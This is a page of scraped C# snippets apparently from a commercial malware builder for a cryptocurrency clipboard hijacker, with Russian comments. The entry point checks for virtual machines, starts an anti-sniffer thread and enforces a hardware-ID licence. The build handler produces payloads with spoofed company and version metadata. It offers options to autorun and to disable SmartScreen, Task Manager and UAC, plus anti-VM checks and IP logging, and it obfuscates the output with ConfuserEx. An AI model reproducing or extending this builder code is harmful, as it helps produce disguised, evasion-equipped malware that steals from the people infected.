Esempio n. 1
0
        public static void Main()
        {
            if (!AntiVM.GetCheckVMBot())
            {
                // Если запущена копия программы, закрываем её!
                if (RunCheck.InstanceCheck())
                {
                    // Запускаем антисниффер
                    new Thread(() => { AntiSniffer.Inizialize(); }).Start();

                    // Проверяем подключение к интернет ресурсу
                    if (INetConnect.Inizialize(EncryptKey.Decrypt(GlobalPath.UrlCheck, GlobalPath.SecretKey_Public)))
                    {
                        // Проверяем ключ доступа к программе
                        if (!CheckerKeys.CompareKey())
                        {
                            MusicPlay.Inizialize(Resources.Error_Build);
                            Thread.Sleep(500);
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                            }
                            else
                            {
                                FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                            }
                        }
                        else
                        {
                            CheckerKeys.GetLicenseInfo();
                            Application.Run(new ClipPurseFrm());
                        }
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        Thread.Sleep(500);
                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            FileControl.CreateFile("Connection_Error.txt", "No Internet connection, check your network connection, and try again.\r\n");
                        }
                        else
                        {
                            FileControl.CreateFile("Connection_Error.txt", "Нет подключения к интернету, проверьте подключения к Вашей сети, и повторите попытку снова.\r\n");
                        }
                    }
                }
                else
                {
                    Environment.Exit(0);
                }
            }
            else
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    FileControl.CreateFile("VMware.txt", "Virtual machine detected, please run the program outside this environment!");
                }
                else
                {
                    FileControl.CreateFile("VMware.txt", "Обнаружена виртуальная машина, пожалуйста, запустите программу вне этой среды!");
                }
            }
        }
Esempio n. 2
0
        /// <summary>
        /// Запуск процесс компиляции исходного файла с проверками по ключу.
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void Generation_ClickAsync(object sender, EventArgs e)
        {
            NativeMethods.SetFocus(IntPtr.Zero);

            #region BuildSettings

            var build = new Build
                        (
                this.IcoPath.Text,
                this.NameOutput.Text,
                this.AssTitleTextBox.Text,
                this.AssDescriptTextBox.Text,
                this.AssCompanyTextBox.Text,
                this.AssProductTextBox.Text,
                this.AssCopyrightTextBox.Text,
                this.AssVerTextBox.Text,
                this.AssFileVerTextBox.Text,
                this.AssGuidTextBox.Text,
                this.IPBox.Text,
                this.ErrorBox.Text,
                this.ShowMessage,
                this.DelayCheckBox,
                this.GarbageCheckBox,
                this.AutoRunCheckBox,
                this.SmartOffCheckBox,
                this.TaskMgrOffCheckBox,
                this.UacOffCheckBox,
                this.AntiVMCheckBox,
                this.IPLOGCheckBox,
                this.FakeCheckBox,
                this.SpisokOut
                        );

            #endregion

            if (string.IsNullOrWhiteSpace(this.NameOutput.Text) || string.IsNullOrWhiteSpace(this.AssTitleTextBox.Text) || string.IsNullOrWhiteSpace(this.AssDescriptTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCompanyTextBox.Text) || string.IsNullOrWhiteSpace(this.AssCopyrightTextBox.Text) || string.IsNullOrWhiteSpace(this.AssFileVerTextBox.Text))
            {
                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.FillFields);
                }
                else
                {
                    ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.FillFields);
                }
            }
            else
            {
                if (string.IsNullOrWhiteSpace(this.SpisokOut.Text))
                {
                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.Extension);
                    }
                    else
                    {
                        ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.Extension);
                    }
                }
                else
                {
                    new Thread(() => { AntiSniffer.Inizialize(); }).Start();

                    if (CheckerKeys.CompareKey())
                    {
                        CheckerKeys.GetLicenseInfo();
                        if (FileControl.ExistsFileAndDirectory(GlobalPath.ModConfuser, GlobalPath.CLI))
                        {
                            if (SourceEdition.values.Count != 0)
                            {
                                await Task.Run(() => SourceEdition.Inizialize(SourceEdition.values, build));

                                // Обфускация
                                switch (build.ComboOutputExtension.SelectedIndex)
                                {
                                case 1: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.dll")); break;

                                default: await Task.Run(() => Mod.Packer.CreateProject(GlobalPath.CurrDir, $"{build.BoxFileName}.exe")); break;
                                }
                                if (FileControl.ExistsDirectory(GlobalPath.Confused))
                                {
                                    if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                                    {
                                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.Obfuscated);
                                    }
                                    else
                                    {
                                        ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.Obfuscated);
                                    }
                                }
                            }
                            else
                            {
                                if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                                {
                                    ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_en_US.BasePurse);
                                }
                                else
                                {
                                    ControlActive.CheckMessage(build.BoxStatus, Language.GlobalMessageStrings_ru_RU.BasePurse);
                                }
                            }
                        }
                        else
                        {
                            if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                            {
                                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ModCLI);
                            }
                            else
                            {
                                ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ModCLI);
                            }
                        }
                    }
                    else
                    {
                        MusicPlay.Inizialize(Resources.Error_Build);
                        if (Thread.CurrentThread.CurrentCulture.TwoLetterISOLanguageName.Equals("en", StringComparison.InvariantCultureIgnoreCase))
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_en_US.ErrorLicense);
                            FileControl.CreateFile("Clip_Key.txt", $"Your key to access the program: {HardwareID.GET_ID}\r\nSend this key to the developer for activation.\r\n");
                        }
                        else
                        {
                            ControlActive.CheckMessage(this.ShowMessage, Language.GlobalMessageStrings_ru_RU.ErrorLicense);
                            FileControl.CreateFile("Clip_Key.txt", $"Ваш ключ для доступа к программе: {HardwareID.GET_ID}\r\nЭтот ключ скиньте разработчику для активации.\r\n");
                        }
                        Thread.Sleep(2000);
                        Application.Exit();
                    }
                }
            }
        }
Esempio n. 3
0
 public LicenSE()
 {
     CheckerKeys.GetLicenseInfo();
     InitializeComponent();
 }